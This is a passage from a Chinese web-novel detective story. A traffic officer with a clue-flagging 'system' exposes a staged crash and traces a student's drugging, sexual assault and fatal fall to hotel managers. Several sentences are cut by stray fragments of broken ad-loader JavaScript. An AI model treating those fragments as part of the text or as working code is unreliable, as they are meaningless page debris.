司机一动不动地靠着座椅上，程昭感觉有点不对劲，伸手摸了一下她的脖子，好像没有感觉到脉搏…… 司机，死了？！ 33. 驾驶座上的死者 司机居然死了？刚刚车子撞击石墩，好像没有撞得很厉害啊…… 难道是司机没有绑安全带？这个车子，司机的坐姿，让程昭感觉到一丝违和感。 没等程昭仔细思考是哪里有古怪，系统小五突然说话提醒：“宿主，你好像触发了一个案件。” 触发事件收集，是因为交通事故出了人命，所以触发的吗？还是说这个车祸里面别有隐情？ 程昭带着疑问，打开了系统，发现多了一个新事件“伪装的车祸”。 果然有古怪！ 程昭继续往下看，事件概述里面描述不是太清晰，但是也写清楚了一点：司机座位上面的女死者，在车祸之前就已经死了，有人把她挪到驾驶座，假装成司机因车祸死亡。 信息关联表里面，目前接触到的关联线索主要是车内的线索： 车座椅调得比较后、 车靠背沾有几根短发、 副驾驶座前方有一些血迹、 死者额头有伤…… 线索数量有点多，程昭还没有看完，总台那边的调度员那边在追问交通事故的事。 程昭只好先专心回答调度员：“被撞的行人好像扭到脚了。轿车撞向石墩，驾驶座的人好像没脉搏了。现场需要派遣医护人员和警察。” 总台调度员说：“好的，马上安排人过去。请你先维护好现场和交通秩序。” 程昭说：“好的。” 结束了和调度员的通话，程昭也按照惯例，和庞达汇报了遇到的交通意外。 “司机居然死了吗？撞击很严重？”庞达问。 程昭回答：“我觉得撞击没有很严重，车头只是轻微变形……而且我感觉，驾驶座上面的死者，不一定是刚刚开车的司机。现场有很多处疑点。” 庞达沉吟了一下，“嗯……这个事故很可疑吗？那我再安排两个人过去吧，你先维护现场和交通。” “嗯，好的。” ………… 时间快到十一点左右，附近的人陆续出来吃午饭，这边马路上的车子也开始多起来了。 程昭摆了几个警示桩，让马路行驶的车辆避开事故区域。然后走过去又看了一下伤者，“先生，你叫什么名字，已经安排救护车过来了。” “我叫林栋……我的脚好像已经开始肿了……好痛。”林栋拉起了裤脚，露出了微微发红发肿的脚踝。 眼看着脚踝是越来越肿了，但是程昭身上没有带冰袋，她对伤口处理也是一知半解的，只能爱莫能助了。 程昭安慰道：“救护车一会就到了，你先忍一下。” 林栋向事故车方向张望了一下，疑惑地问：“司机那边怎么了？怎么车里的人都不出来车子外面？” 都？ 程昭好奇地问：“林先生，你为什么说，车子的人都不出来？你刚刚又看到车子里面的情况吗？” 林栋点点头，“是啊……刚刚车子擦过我的时候，我好像是看到，副驾驶还有个人……不过那一下发生得太快了，我也没有看得很清楚……” 程昭点点头，也不回答林栋对车里人没有出来的疑问。找借口走开了。 ………… 最先来到的是救护车。 急救人员检查了一下死者，确认已经死亡，就去看被撞的路人了。 然后警车也来了。车上下来了两个刑警和几个穿着鉴证科马甲的人。 来的两个刑警不是刑事三队的人，程昭并不认识。 一个年纪四十岁左右，高高瘦瘦的，戴着眼镜，看起来比较严肃。一个矮一点胖一点，年轻一点，笑容多一点。 鉴证科的人，径直过去现场做证据采集工作。 两个刑警向程昭这边走来，胖一点的那个警官笑着和她打招呼：“你好，我们是刑事二队的，我叫吴白，这位是张同。可以和我们说一下事情的发生经过吗？” 程昭“你好，我叫程昭，交通四队。我今天巡逻，在xx大厦路边休息的时候，看到这边突然出了状况。那位路人先生在转灯的时候冲过马路，这个车子起步太快把人蹭到了。司机突然打了方向盘转到马路这边，撞到了石墩……” “我当时先跑去查看了路人的情况，把他扶到路边之后，再跑去看事故车辆的情况。这个过程大概花了几分钟。当我去到事故车那边，看到车子里面只有驾驶座有人，我怎么叫都没反应，就上手摸了一下她的脖子，她当时没脉搏了……” “救护车来了之后，他们也检查过驾驶座那位女士，也确认了她早已死亡。我们都没动过车子里面的东西，死者的姿势也没移动过。” 两位刑警听完微微点头，互相对视了一下。张同开口说：“那这事就是交通意外了吧，我们是白来一趟了。” 吴白也跟着点点头。 呃，不是，这两位刑警还没有去看过现场吧？她刚刚说的事情经过，也没有说就是交通事故吧？他们这么早下定论，是急着去吃饭吗？ 程昭在心里吐槽，忍不住摇摇头，说：“不对，这个未必是单纯的交通意外，我看了现场，有挺多疑点的。你们去现场看看就知道了……” 张同他们才想起自己还没有去看事故车和死者，不由得脸色微僵。 张同板着脸说：“你一个交警，还会做侦查工作了？居然对我们的工作指手画脚……” 程昭心里不禁有点生气，她也没说什么话吧…… 吴白连忙笑着打圆场：“哎，我们太急了。看到车祸现场，就以为是交通事故了。程警官说得对，我们去看看现场吧。” 交警这边也来人支援了，程昭就和同事打声招呼，让他们先帮忙维持秩序。然后她跟在两位刑警的后面，去了事故车那边。 这两位刑警的做派，都让她有点担心，会不会无视疑点了。还是围观一下他们办案，把她知道的线索提出来吧。 鉴证科的人还在采集，不过死者已经移出车外了。四周被遮挡起来，一个法医正在验尸。 吴白问一个鉴证人员：“现在有什么发现吗？” 鉴证人员点头说：“有一些发现，死者虽然坐在驾驶座上，但是驾驶座设置的位置很后，不符合死者的身高体型…… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “副驾驶座前面有一块血迹，死者额头有个撞伤的痕迹，所以我们怀疑她本来是坐在副驾驶座上面的。” 张同皱着眉，“这么说，真正的司机逃走了？” 张同看到程昭也过来了，想起她刚刚的话，心里略带羞恼。他不过是希望快点下班吃饭，没想到一个简单的交通事故，居然这么麻烦。 张同抿着嘴，然后阴阳怪气地说：“程警官，你怎么没留意到司机逃跑了呢？你就在现场啊。” 程昭忍住了翻白眼的冲动，这个张警官年纪也不小了，怎么这么小鸡肚肠的。 程昭指了一下红绿灯附近的监控，说：“我当时去看路人的伤势了，司机逃走的画面，监控应该有拍下来。” 程昭联系交通监控中心，请工作人员帮忙调监控画面。 因为时间地点都比较明确，监控很快查到了，视频发给程昭。 程昭走过去找了两位刑警，说：“交通中心把监控视频发过来了，你们要不要一起看。” 张同现在已经后悔自己之前的武断了，看到程昭公事公办的样子，也觉得自己的行为过于小气了。他不好意思地挠挠头，点头说：“看看吧，麻烦你了，程警官。” 程昭看了一下张同，然后在自己手机播放了监控视频。 视频显示，事故车子撞到石墩，过了一会，一个穿着黑色衣服，戴着鸭舌帽的男人，从驾驶座一侧下车，在车边站着，在车子里捣鼓了片刻，然后关上车门，悄悄逃跑了。驾驶座车门、还有黑衣男子逃跑的方向，都是程昭当时位置的视线死角。 播放完视频，程昭说：“死者原来应该是坐在副驾驶座上的，被撞到的路人也说好像看到副驾驶座有人。黑衣男子应该是把死者从副驾驶座，挪到驾驶座这边，再下车整理好死者的安全带和坐姿。然后快速逃走。” 张同说：“对，鉴证科的人也说了，死者原来应该在副驾驶座……程警官，之前我脾气不好，多有冒犯，对不起了。” 程昭看到张同态度转变，也爽快地接受了道歉，“嗯，这事就跳过吧。现在破案要紧……我跟在你们旁边，看看有没有可以帮忙，这样可以吗？” 张同点点头，吴白也说：“可以啊，你是案件的发现人，看看现场，说不定你可以回想起什么。” ………… 另一边，法医也做完了简单的验尸工作。 法医收拾完东西，走过来和张同、吴白说：“死者大概20岁左右，身高157cm，身上没有证件没有手机。她应该在车祸之前就死了，额头的伤口是死亡之后的。目前怀疑死因可能是身体受过什么冲击，她的腿部手部背部都有淤伤。具体原因要等进一步的检查，才可以知道。” 吴白点头说：“好的，辛苦你了。” 程昭一边听现场大家说的话，一边思考。 死者身份未知，身上没有物品可以表明身份。车祸之前就受伤死亡。 黑衣男子的身份也未知，在监控画面里面他没有露正脸。 不知道查这个车牌，能不能找到关联的人。 34. 死者的身份 趁尸体还没有被法医打包带走，程昭忍住不适，强迫自己靠近尸体，仔细观察死者。 如法医所说的死者20岁左右，身材娇小，身上有多处淤伤。 系统的信息关联表，关于死者，目前关联程度比较高的线索是：脖子的手印、右手手指被针刺伤的伤口、指甲的皮屑血迹、口鼻附近的血迹、衣服左边胸前模糊的印记…… 程昭靠近仔细观察，看到了系统提示的痕迹。这些痕迹和案件的关联程度比较高，其他的瘀痕伤痕，系统都是一笔带过，排序相对比较低。 估计这些线索和凶手关系比较大，特别是脖子上的手印和指甲的皮屑，感觉就是反抗挣扎的时候留下的。 线索里面提到了死者的衣服。死者身上穿着一套类似迎宾礼仪小姐的服装，不过码数偏大，腰部还加了别针来调整。 衣服左边胸前有个模糊的印记，看起来，好像有个胸牌之类的东西，长期固定在这里，但是又被人拿走了。 程昭询问了法医，死者衣服上面好像没有所属单位的标志。 拿走的胸牌、死者手指的针刺伤口、脖子的手印、手指的皮屑……这些让程昭联想到一个画面：某人曾经掐住了死者的脖子，死者试图用指甲抓伤对方，让对方松手，但是没成功。然后死者匆忙直接拔出衣服的胸牌，用上面的针刺伤对方……程昭刚猜想完，系统就更新了内容，程昭的推测显示在关联表上面。 死者的年龄20岁，应该是大学生？穿着礼仪服，难道是去打兼职？ 但是码数这样不准，难道是临时更换的岗位？或者是打工的地方准备太拉胯？ 程昭思考着，留意着系统的关联内容，发现她对死者是临时兼职礼仪小姐的大学生，这个猜测被标记了关联。 既然知道是大学生，范围就相对小了很多了。 现在不是寒假暑假，学生做兼职，只能就近为原则，那死者很可能是本市的大学学生。 程昭干脆上网查了一下，本市有什么大学，然后系统标记了A市大学。 所以，死者是A市大学的学生，临时兼职了礼仪小姐。兼职期间，有人伤害了死者，死者反抗过，然后受了伤。黑衣男子开车带走死者，后来遇到车祸，司机发现死者死亡，然后就弃车逃跑了…… 程昭思考了一下，想到了引导警方的方法。她向张同、吴白招手示意。 等两位刑警靠近尸体，程昭指着死者的脖子和手指，说：“你们看，死者脖子隐隐约约有个手印，死者的指甲缝里面还有一些皮屑血迹。会不会是之前打斗过，留下的痕迹？” 张同和法医等人，听到程昭的话，都纷纷上前查看，然后都看到了程昭所说的痕迹。 “这个手印刚刚还没有浮现，估计是死亡时间比较短。死者应该死了1~2个小时。”法医查看之后，点头补充，“指甲里面的皮肤组织，我们回去会取样验DNA。” 张同也点头说：“那个手印看起来像是个男人的手印，应该是有人掐住了死者的脖子，然后死者反抗了……刚刚鉴证科的人说，车子驾驶座收集到了几根短发，不知道和手指甲里面的皮肤组织，是不是同一个人的。” 程昭留意了一下，张同的猜测没有被记录，那估计开车的黑衣男子和伤害死者的男子，不是同一个人。 看到张同他们都认为，这些线索有用。程昭又继续补充：“还有死者的右手手指，你们看，上面有类似针扎的伤口。她的衣服左边胸前，有一个印记，看起来像是之前一直固定了一个胸牌，最近才被拿走的……会不会是她拔了衣服的胸针，刺伤了掐她脖子的人？” 吴白观察了一下，点点头说：“是有可能。可能是她抓伤了掐她的人，但是没有用，然后她就拔身上的利器来反抗。” 程昭比了一下死者身上的衣服，说：“我刚刚问了法医，法医先生说死者的衣服没有所属公司的标志。我就猜，这个胸牌可能是公司的标志……” “另外，法医之前推测死者可能20岁左右。死者穿着的，应该是礼仪小姐的衣服，但是衣服不符合她的尺码。所以我推测，她可能是临时兼职礼仪小姐的大学生。” 一旁鉴证科的人听到他们的谈话，想起了一件事，他在证物里面找到一个传单，说：“会不会是去了这个假日酒店做兼职？我们在车子里面，找到了一个旧传单。” 程昭看到，系统更新了内容，假日酒店确实就是死者兼职的地方。 张同微微点头，说：“有可能。我们先往这个方向查一下。同时也继续在系统里面查死者的身份，程警官说得对，死者的年纪很可能还在读书，我们也往这个方向追查。” 程昭建议：“我觉得她有可能是A市大学的学生，你们可以先查一下A市大学？” 张同疑惑，“为什么说可能是A市大学？” 程昭尴尬地干笑，“第六感告诉我的，我第六感挺准的……” 张同抿嘴想反驳，但是想一想还是算了，刚刚他才冒犯过程昭，还是给她一个面子吧。他说：“行吧，反正都是查，先查A市大学也行。” ………… 张同、吴白分别打了几个电话，联系同事帮忙查假日酒店这两天的活动，和死者的身份。 因为查找的方向比较明确，很快就确定了死者的身份。 死者名叫刘虹，A市大学学生，昨天兼职外出了，然后就没有回宿舍。她的室友说，她去兼职的地方就是假日酒店。 假日酒店那边，本来不想配合警方，交出昨天活动的兼职名单。后来警方确定了死者的身份和昨天的动态，假日酒店的负责人才松口，说刘虹昨天被临时调去做礼仪小姐。 但是负责人否认了刘虹在兼职期间出事，他说：“那个女学生，昨晚中途就不见了，我们在会场没看到她。所以不是我们的责任。” ………… 张同、吴白得到返回的信息的时候，正在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 和程昭在附近一家小餐馆吃饭。 张同吴白本来有点不耐烦程昭一直跟着他们，没想到程昭对案件的推测居然那么准。 吴白感慨说：“那个死者还真是A市大学学生，在假日酒店临时当礼仪小姐。程警官，你还推测得挺准的啊！” 程昭眨眨眼，笑着说：“我第六感挺准的，我之前还帮过刑事三队查案。” 吴白恍然道：“哦，怪不得，我好像有听说过，之前有个绑架案，说一个交警发现了案子，还帮了忙找了线索……原来那个人就是你啊。” 张同尴尬地挠挠头，说：“原来你侦查这么厉害，之前是我小瞧你了，真不好意思。” 程昭摆摆手说：“没关系……而且张警官说得对，之前如果我早一点去看事故车的，说不定就可以拦下那个司机了……作为弥补，我有点想帮忙。这个案子，我可以跟着你们查吗？” 程昭说得情真意切的，而且她也真的帮得上忙，张同两位警官不禁有点犹豫。 吴白问：“你跟着我们，不会影响你那边的工作吗？” 程昭早有准备，之前就找庞达报备过了，庞达也很爽快地答应了。程昭点头说：“我和我队长报备了，他同意我来帮忙。” 张同勉强答应了，“那行吧……不过今天先让你跟着，如果案件进展太慢的话，你就不用继续跟了，免得影响你工作。” “可以，我今天尽量帮你们查。”程昭笑着说。 张同嗤笑一声，“你的口气也未免太大了。办案哪有那么容易，有时候甚至几个月都没进展……” 吴白连忙挥手，打断搭档的话，“张哥，你别立flag啊，我可不想查这么久。” 张同不耐烦地说：“行了行了，我不说打击士气的话了。我们吃完之后，去酒店看看情况，查一下那个司机黑衣男子是谁。还有查一下昨晚刘虹最后在哪里出现过。” 一行人决定了后面的行程。 吃完饭，张同带着程昭吴白，准备开警车去假日酒店。在车子里，法医那边给张同打了电话，估计是要说尸检的事，张同就干脆开了外放。 张同说：“李法医吗？是不是尸检结果出来了？” 李法医说：“是啊，进一步的尸检已经有结果了，死者的主要死亡原因是肺部出血，我们怀疑她曾经在高处掉落……而且，她死前可能遭受过性、侵犯，不过我们没有采取到□□样本……指甲里面的皮肤组织还在排队等待检验……具体报告我已经发给你了。” 车内沉默了一瞬，然后张同才低声回答：“好的，谢谢。” 电话挂断了，车内弥漫着低气压。 虽然隐约有预感，不过听到法医说死者生前的遭遇，车内几个人还是觉得不适。程昭看到，张同和吴白脸色都不太好，都有点阴沉。 程昭打破沉默，“我们快点找到凶手吧，以慰死者在天之灵。” “嗯。”张同和吴白纷纷点头。 35. 酒店 法医发了详细验尸报告给张同，张同正在开车没空看，就让吴白帮忙读一下。 吴白拿过张同的手机，“报告比较长，专业术语比较多，我先概括地读一下吧……死者体内检测到迷药成分，□□有撕裂伤……多处轻微骨折，内脏出血，肺部出血，怀疑是高处掉落导致内脏出血而死……预测死亡时间是九点半到十点半之间……” 程昭摸摸下巴，推测：“这个死亡时间，离车祸发生的时间挺近的……所以死者很可能是在车辆行驶过程中死亡的。” 吴白点头说：“很有可能。我和张哥之前猜测，黑衣男子有可能是去医院。因为那个路口再往前，就有一家医院。” 张同补充说：“如果她在上车之前就死了，那她应该就不是坐在副驾驶座上面了。” 程昭看了一下系统的关联表，司机想送死者去医院的推测，确实是关联的。 程昭回忆当时的情景，“怪不得他在那个路口开车开得这么快，还剐蹭到了路人……” 张同说：“也有可能是司机在半路发现刘虹死了，然后心里慌了，然后不小心开快了。” 吴白收到了同事的信息，说：“死者的手机找到了，定位就在假日酒店附近。” “那正好，我们先去查完刘虹昨晚的行踪，然后再去找她的手机。”张同说。 ………… 到了假日酒店，因为程昭是交警，张同脾气不好，所以与人沟通的事，就由吴白上了。 吴白招来了一个酒店工作人员，说：“你好，我们是刑事二队的刑警。我们是来调查一个死亡案件的。你们负责人是谁？” “我们值班经理在前台，我带你们过去吧。请跟我来。”酒店门口的服务生把他们带到了大堂前台。 吴白上前说：“你好，我们是刑事二队的刑警，之前我同事有联系过你们。我们是来调查刘虹死亡案的，需要你们配合。” 值班经理在前台里面站了起来，双手抱臂，不耐烦地看着他们，皱着眉说：“我不是和你们的人说过了吗，那个女生昨晚就突然看不到人了。你们还想问什么？” 张同用指节敲了敲前台桌面，说：“死者在你们这里做完兼职，然后死了，我们不来找你们，那应该找谁？” 经过的人看到有警察来酒店，都忍不住八卦地多看了几眼，听到他们说到有死人，更是停下了脚步，站在不远处围观。 程昭看看周围，又看看值班经理，笑着说：“你不如快点配合我们，事情查清楚，我们才可以早点离开。” “……你们跟我来，我们去办公室。”值班经理也意识到，酒店大堂不是合适的谈话地点。 想起了张同他们之前说的计划，程昭便建议说：“不如直接带我们去一下监控室吧，让我们先看看昨天的情形。” 经理皱着眉，有点不满，“这位警官是交警吧，你们上来就想看我们监控，我们有义务保护客人的隐私的……” 经理很明显不想配合，张同也没耐心了，“这位警官是来辅助我们的，我们在调查命案，你这是要阻碍调查吗？我们本来就要看你们监控的，调查令也被审批同意了……你要是不愿意配合，那我们就在这里站着，等调查令送来。” 张同态度强硬，经理反而态度软了下来，“行吧，既然你们已经有调查令了……我带你们去监控室。监控室在一号副楼，我带你们过去。” 到了监控室，经理还主动帮忙，调出了刘虹昨晚兼职的画面。他说：“警官，你们看，这个女生昨晚兼职礼仪小姐到九点，然后就不在工作位置上面了……” 画面显示，死者摸出手机看了几秒之后，就离开了工作区域，然后没有再回来。 “当时我们区域经理看到安排的人少了，还发了脾气。后来是总经理来了，说没关系，区域经理才没找我们麻烦……看，刚好画面也录下来了。” 程昭留意到，系统标记了值班经理提到的总经理，而且关联位置在第一位。 程昭指了一下画面里的一个打扮得很斯文的中年男性，“这个就是你们的总经理？” “是啊。” 程昭目不转睛地盯着倍速播放的监控录像画面，留意总经理的动向。 张同他们看到，死者是看了手机的信息，然后才离开监控范围，就想快点找到死者的手机，看看她为什么离开活动会场。 吴白看程昭还在看屏幕，便问：“程警官，走不走？你在看什么？” 张同他们这才留意到，程昭在研究总经理的行踪。 张同好奇地问：“你在看什么？这个人有什么可疑吗？” 程昭挠挠头，“嗯……就是、我第六感告诉我这个人不太对劲，所以我就多观察一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下。” 值班经理有点不耐烦，警察都看完监控要走了，这个交警姑娘居然还在看。他说：“我们总经理能有什么问题啊，他就是日常来巡店。” 程昭没理值班经理，继续查了几个区域的监控，然后看到一个有点眼熟的身影。系统标记显示，这个人就是逃逸的司机。 程昭连忙暂停播放，指着画面说：“你们看，这个人是不是马路监控拍到黑衣男子，那个逃走的司机？” 吴白眯起眼睛，仔细观察，“确实是很像。” 张同靠近查看，很确定地说：“就是这个人，身型一样，而且他穿的鞋子就是视频里面的那双，错不了。” 程昭看向值班经理，问：“这个人是谁？” 值班经理看了看画面，说：“这个是行政部的宋凯云。他做什么了吗？” 程昭说：“他牵涉到这个命案里面了，他在你们酒店负责做什么的？你知道他在哪里吗？” 值班经理撇嘴，皱着眉说：“这个宋凯云，他是负责采购的，现在是采购部的经理。至于他人在哪里，我就不知道了。” 程昭看到值班经理皱眉，好像不太喜欢这个宋凯云的样子，于是她继续问：“这个人是有什么问题吗？你好像不太喜欢他的样子。” 值班经理嗤笑一声，说：“这个人就是个马屁精。本来之前有个老员工，能力资历都比他好，但是就是比他挤走了。” 程昭看着监控画面，宋凯云拉了总经理去一个没有人的角落，说了几句话，还给了他什么东西。后来宋凯云、总经理分别离开了。 监控没有其他相关内容了，程昭便站起来，准备和张同他们一起去找刘虹的手机。 ………… 假日酒店很大，有一个主楼和两个副楼。一号副楼离主楼很近，但是二号副楼离得很远，中间隔了一个小花园。 刘虹的手机在二号副楼楼下附近，屏幕都摔裂了。不过没有全坏，收得到信号，所以手机才被轻易找到。 程昭在捡到手机的地方仔细观察，并且留意系统更新的信息，确定刘虹就是在这个二号副楼摔下来的。 程昭问值班经理，“这个楼是用来做什么的？好像还没有投入使用？” 值班经理说：“是的，这个楼还在装修。只有四楼五楼已经装修好了，不过还没有用来接待客人。” 36. 两个犯人 程昭往二号副楼楼上张望，着重留意了四楼五楼。系统显示，四楼的阳台边缘有死者的抓痕，一楼的雨棚被死者撞歪了。 程昭指着楼上的方向，看向值班经理，问：“值班经理，那个是几号房？四楼那个有阳台的房间。” 值班经理皱着眉回忆了一下，然后说：“有阳台的……那个应该是410或者411。” “我们可以上去查看一下吗？”程昭看到其他人都一脸疑惑，马上解释说，“你们看，四楼那个阳台，阳台边缘是不是有个抓痕？” 吴白眯着眼睛往上看，不确定地说：“……好像是有一块灰印。你是怀疑，死者曾经在那个房间坠落？” 程昭点点头，“嗯，我是这样怀疑的。她手机掉在这里楼下，而且一楼的雨棚有点被撞歪了。反正来都来了，确认一下无妨吧？” 张同、吴白微微点头，一起看向值班经理。 值班经理挠挠头，说：“可以是可以，反正还没有人在用。你们稍等，我去拿门卡过来。” 等待值班经理拿钥匙的时候，张同说：“刚刚我已经联系局里的同事，帮忙去查宋凯云的行踪。我们队长说，他安排人去捉宋凯云，让我们继续找案件的相关证据。” “如果死者真的是从那个房间坠楼的，那线索应该很快就找到了……”吴白面带犹豫，看了看程昭，“这么小一块灰印，你怎么会觉得是抓痕的？你视力这么好？” 程昭干笑着，说：“哈哈哈，我直觉比较灵敏嘛……” 张同嗤笑一声，吐槽：“都还没有确定呢，你就吹上了？” 程昭对系统的检测收集，还是很有信心的。她笑了笑说：“等下到房间，你们看看就知道了。” 张同挑眉说：“行，要不要打赌？” 程昭灵机一动，刚刚还在苦恼没有机会去查那个总经理，现在机会不就来了吗？ 程昭笑着说：“好啊，如果我赢了，你们就让人去查一下那个总经理？” 张同想起程昭看监控的时候，特别留意了那个总经理，“你怀疑他？” 程昭点头说：“是的，我直觉感觉他很可疑，怀疑他就是侵犯和令死者坠楼的人……可惜目前没有确切证据指向他。” “行啊，如果你第六感真的这么准，我们就先去查查这个人……如果楼上的房间和案件没关系，你、你就请我们吃下午茶吧。” ………… 值班经理拿了门卡回来，带着程昭一行人上了四楼。 “先看哪个房间？” 程昭看了看两个房间的门口，410门口的门把手比411的干净，显然最近被人使用过。而且系统也标记了410和案件有关联。 “看410。” “行。”值班经理打开了410的房门。 一进房间，张同和吴白也隐约感觉到了，这个房间不太对劲。 这个房间布置得很齐全，床单被子一应俱全，柜子还放着半瓶红酒。 而且房间有点凌乱，厕所淋浴间还没有干透，一看就是有人用过。 阳台的边缘，也确实如程昭所说的，有一个抓痕的印记。 而且程昭进了房间之后，凭借系统的帮忙，很快就找到了一个关键证据，一枚针尖带血的酒店胸针。 这下子，大家都可以确定，案发现场就是这个房间了。 张同皱着眉，看向值班经理，说：“值班经理，这个二号副楼的房间，不是还没有对外开放吗？这个房间看起来布置得挺周全的，而且好像已经被人使用了。” “这……这……哎，算了，我就实话实说了，反正我就是一个打工的。”值班经理犹豫了一下，最后叹了一口气。 他说：“刚刚我去找门卡，发现这个楼被总经理借用过。万能卡被他领走了一张。这栋楼的清洁，也是他叫人安排的。” 程昭挑眉，笑着看向张同、吴白，“怎么样？我没说错吧？” 本来她还担心，房间会不会已经被总经理清理过。没想到，他居然都没清理案发现场……可能是死者突然坠楼，让他一时慌了神。 张同竖起大拇指，笑着说：“牛啊，你的直觉太准了吧……行，我现在就去叫我同事帮忙，把这个总经理一起捉会警局。” 张同正准备打电话，然后才发现自己忘记了一件事，他看向值班经理，问：“哎，你们总经理叫什么名字？你知不知道他人在哪里？” 值班经理回答：“他叫邓归帆，他好像是住东城区的豪景园……不过他们有几处房产，所以我也不确定。” 张同点点头，然后直接给同事打电话，“喂，我是张同。我们这边有重大发现……” “我们怀疑死者坠楼的地点是假日酒店，二号副楼的410，需要安排鉴证科工作人员过来，调查现场……” “另外，假日酒店的总经理，邓归帆有涉案嫌疑。他可能住在东城区的豪景园，可能有多个住处。麻烦你们帮忙查一下，快点把他请去警局。” 电话对面好像说了什么，张同听完之后，说：“好的，麻烦你们了……我们先在这边等吧，你们有消息，就马上叫我们回去。” 张同挂了电话，然后和吴白、程昭说：“事情已经找人帮忙安排了。我们先在这边现场，等待鉴证科的人。宋凯云暂时还没有找到，如果找到宋凯云或者邓归帆，警局那边会立刻派人去捉拿，然后通知我们回去。” 程昭、吴白点头。 ………… 鉴证科的工作人员很快到了现场，然后开始了搜查。 鉴证科还没有做完搜集工作，警局那边的同事给张同打来了电话。 张同接听完，挂了电话，和程昭、吴白说：“走，已经找到宋凯云和邓归帆了。” 张同说完，就和鉴证科的人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 打招呼，让他们继续做搜查，他们有事先离开。 然后又和吴白、程昭招手示意，让他们快点跟上。 程昭连忙跟上，好奇地问：“你同事有没有说，是在哪里找到他们的？” “他们两个，都是在邓归帆的一处个人房产里面被找到。他们两个好像起了争执，执法人员到场的时候，邓归帆刚好捅了宋凯云一刀。” 程昭十分惊讶，“啊？他没死吧？” “没死，急救处理得及时，宋凯云先送去医院了。我们先回去审问邓归帆，然后再去医院找宋凯云。” ………… 到了警局，张同让程昭在审讯室玻璃外围观，自己和吴白进去审问邓归帆。 程昭点头，留着外面，看他们审问犯人。 隔着玻璃可以看到，邓归帆坐在审讯室，额头有一块瘀痕，惊慌失措地咬着手指甲，手臂还带着几道抓痕和针刺的伤痕。 张同、吴白把那个装着带血的酒店胸牌的证物袋，还有鉴证科拍摄的现场照片，往桌子上一放。 邓归帆瞪大双眼，面如土色，冷汗从额头流了下来。 张同敲敲桌子，沉声说：“你的名字？” “什、什么？”邓归帆眼睛开始乱瞟。 吴白字正腔圆地说：“说出你的名字。” “……邓归帆。” 吴白笑眯眯地看着犯人，“你应该知道，我们为什么把你请到这里来吧。” “……” 吴白循循善诱，“坦白从宽，抗拒从严。等宋凯云醒来，他先招了，你再说，性质又不一样了。” 邓归帆叹了口气，肩膀塌了下来，“……你们都查到了，要问什么就问吧。” 张同说：“刘虹是不是你杀的？” “那个是一个意外，我不是故意的……” “那就把事情经过都一五一十告诉我们。我们会找宋凯云对质的，他现在情况很稳定，你捅了他一刀，他不会给你隐瞒的。” 邓归帆吞了几口口水，说：“宋凯云采购主管的位置，是靠我坐上去的。他要讨好我……” “我不缺钱，但是家里老婆管得严，而且又不好看……宋凯云就偷偷给我找女人，贿赂我……” “昨晚宋凯云给我找了个女大学生，下了迷药，送到约定好的房间……他之前给我找的，大多数都是事先说好了，愿意的……昨晚那个，我一开始也以为是同意的，就直接上了……” “后来早上她清醒了，我正准备叫她立刻，好去找人清洁房间……没想到她穿好衣服之后，突然开始打我，还说要报警……” “我和她争执起来，一时没留意到我们到了房间的阳台……阳台的玻璃还没有装上，然后她突然就掉下去了……真的是一个意外。而且她一开始也没死的，她撞到了一楼的雨棚。然后我就叫宋凯云过来，带她去医院，还有安抚她。” 37. 隐情 张同皱着眉，问：“她是几点坠楼的？你为什么不当场送刘虹去医院？” “应该是九点四十几分吧，我当时就给宋凯云打电话了，我等他来了才离开的……” 邓归帆一脸晦气，“至于送她去医院……这个女的是宋凯云带来的，当然应该他来收拾残局。我当时有个会议，需要在十点半赶回公司。如果我自己送她去医院，我老婆就会发现我偷吃的事了。” 两位刑警都沉默了一下。 张同问：“刘虹的事先放一放。你先说说，为什么宋凯云今天到了你家，还被你捅了一刀吧。” 邓归帆顿了一下，然后生气地说：“说起这个，我那是自卫反抗……” “宋凯云说要当面和我讨论刘虹的事，我就让他去我的一个住所。他说刘虹死了，然后威胁我，要我给钱他。他一下子要几十万，我当然不乐意。” “争执之间，他推了我，害得我额头撞到桌子。然后我就拿起桌面的水果刀自卫，没想到不小心捅了他一刀。” 吴白问：“邓归帆，你确定你说的是实话吗？你要知道，宋凯云的伤急救及时，他很快就可以接受我们询问了。你说谎，对你没好处。” 邓归帆面带犹豫，欲言又止，最后还是摇摇头，“我说的都是真的。你们可以找宋凯云对质。” ………… 程昭在审讯室外旁听，同时密切留意系统事件显示的内容。 邓归帆说的，大部分都是实话，系统把他所说的内容标记到关联表。 但是，是否清楚刘虹意愿的事，邓归帆说谎了。他说他不知道刘虹不愿意的时候，系统没更新这部分内容，程昭就猜他是知道的，然后系统果然更新了内容。 另外，关于宋凯云威胁他的事，程昭感觉他没有完全说实话，可能是隐瞒了什么，没有说出来。 程昭不禁叹气，可惜系统不能显示他隐瞒了什么。不过宋凯云没事，这些应该可以去试探询问宋凯云。 暂时没有其他问题询问，张同和吴白走出审讯室。 张同问：“目前案件经过，已经比较清晰了。你要跟我们去医院，看宋凯云吗？” 程昭点点头，“去看看吧。” “好，那就出发吧。希望他已经清醒了，我们早点问完，早点下班。” 一行人出发，前往宋凯云所在的医院。 到了医院，医生告诉他们，宋凯云伤口已经缝合完毕，刚刚已经清醒了。 一行人便直接来到宋凯云的病房，开始询问宋凯云。 “宋凯云，我们已经审问过邓归帆了。” “……他招了吗？” “招了。而且他也说了你做的事。” 宋凯云苦笑，“那你们还来问我做什么？” “这是必要的程序。而且你也不会想要我们只听邓归帆的一面之词吧……你把你知道的事，都说一说吧。” 宋凯云叹了一口气，整理了一下语言，说：“之前总经理要求，让我最近给他安排一次娱乐活动……就是给他安排女人。” “我本来联系了一个之前有做过□□的女生，让她来昨晚的活动做礼仪小姐，没想到那个女生居然爽约了。” “我和总经理说，晚几天再找人给他。但是他不愿意，非要我按原来的时间给他安排人，还说如果我找不到，他就把下个月的项目交给另一个人去做。那是一笔巨款，随随便便都能捞到好多好处，我不想错过。” 